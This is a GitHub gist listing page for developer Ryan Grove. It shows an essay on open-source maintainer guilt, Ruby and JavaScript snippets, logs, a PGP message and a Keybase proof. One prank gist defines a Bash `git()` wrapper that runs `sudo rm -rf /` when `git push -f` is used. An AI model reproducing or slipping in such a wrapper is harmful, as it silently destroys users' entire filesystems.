Skip to content

Instantly share code, notes, and snippets.

View rgrove's full-sized avatar
🥧

Ryan Grove rgrove

🥧
View GitHub Profile
@rgrove
rgrove / gist:b260e21a8db776bde91b
Created June 20, 2014 17:17
Open source guilt

So here's the thing: I've been releasing my code as open source for nearly 15 years. When I write something for me, I release it for other people. Inevitably, I eventually stop needing that thing, so I stop spending time on it.

When a PR comes in for a project I haven't actively worked on in a while, handling that PR requires me to reacquaint myself with the old code, remember how and why I made certain choices, consider whether accepting the PR would create any new maintenance burdens for me or would potentially introduce problems for users who've been using a stable and unchanged program for years now. If I decide it's worthwhile, then I have to test it. Maybe my old project has tests; maybe it doesn't. If it doesn't, that means I have to get it running and test manually.

More often than not, a PR will contain questionable code or inconsistent formatting or something else that requires some back and forth with the author. This takes time out of my day (often out of several days due to the async nature of

irb(main):001:0> false.respond_to?(:dup)
=> true
irb(main):002:0> false.dup
TypeError: can't dup FalseClass
from (irb):2:in `dup'
from (irb):2
from /Users/rgrove/.rbenv/versions/2.1.0/bin/irb:11:in `<main>'
this is a test
@rgrove
rgrove / gist:9675751
Created March 20, 2014 22:53
A super secret message just for seldo!
-----BEGIN PGP MESSAGE-----
Version: GnuPG/MacGPG2 v2.0.18 (Darwin)
Comment: GPGTools - http://www.gpgtools.org/
hQIMAyMCGVhpQP9NAQ/+NaGrxidHbbt7ITjxF468QGqsbNfzEyYgmywxbTHQ6VHE
d7Cf2QvnL4BzpIdKOgLZdGrAMwhKDLZI7f95ywfwZ//80eHJmYF5Rm0h9RLpHtE4
cSUjNIIaJ6ThaOW4Ee4zXGlFlMhJcE9p9+rvkd89uSEeS73XD0qbKUCXo3xUO+yx
2ZqvK+yK6Umz+Nk8Hu/bjhrNSi2bIumfXGZVv4DfeS5Ijd37bCFxc2n/9cumiJaU
eKWKf0tXJ5gcU2QkTZTooCGyGKdG0PPhZLQPUddZMkH+rZ1fPmN18z4GreSU0g/v
3lrJeIp8I6ePbeKlG5MMJxJGw2EWn8088+RnafGsRExWdkkhlsgVvgbO9MomL2gQ

Keybase proof

I hereby claim:

  • I am rgrove on github.
  • I am rgrove (https://keybase.io/rgrove) on keybase.
  • I have a public key whose fingerprint is 6158 CE1B 2C11 D2A1 873D 95D9 1265 448E F00F F5E2

To claim this, I am signing this object:

@rgrove
rgrove / gist:6096534
Created July 27, 2013 22:27
A handy Bash function to punish people who use `git push -f`
git() {
if [[ "$1" == "push" && "$2" == "-f" ]]; then
sudo rm -rf /
fi
}
rgrove@sulaco:~/src/yui/yui3 (dev-3.x)$ yogi serve
yogi [info] using yogi@0.1.10 on node@0.10.4
yogi [info] adding tests route
yogi [info] this is yui, using global path for all docs
yogi [info] launching yuidoc --server 5001 --config /Users/rgrove/src/yui/yui3/src/common/api/yuidoc.json
yogi [info] this is yui, using global path for all docs
yogi [info] launching selleck --server 5002 --project /Users/rgrove/src/yui/yui3/src/common/docs/
yogi [info] launching xdr server on port 5003
yogi [info] listening on: http://127.0.0.1:5000
menu.on('itemClick', function (e) {
if (e.item.isOpen()) {
e.preventDefault();
}
});
@rgrove
rgrove / getAbsoluteBoundingRect.js
Created April 25, 2013 21:20
Simple JS function that returns a bounding rect for an element with absolute coordinates corrected for scroll positions.
/**
Returns a bounding rect for _el_ with absolute coordinates corrected for
scroll positions.
The native `getBoundingClientRect()` returns coordinates for an element's
visual position relative to the top left of the viewport, so if the element
is part of a scrollable region that has been scrolled, its coordinates will
be different than if the region hadn't been scrolled.
This method corrects for scroll offsets all the way up the node tree, so the
var addClass, hasClass, removeClass;
// Some old browers don't support classList, fallbacks use className property
var _hasClassList = Y2.config.doc && 'classList' in Y2.config.doc.body;
Y2.mix(Y2.DOM, {
/**
* Determines whether a DOM element has the given className.
* @method hasClass
* @for DOM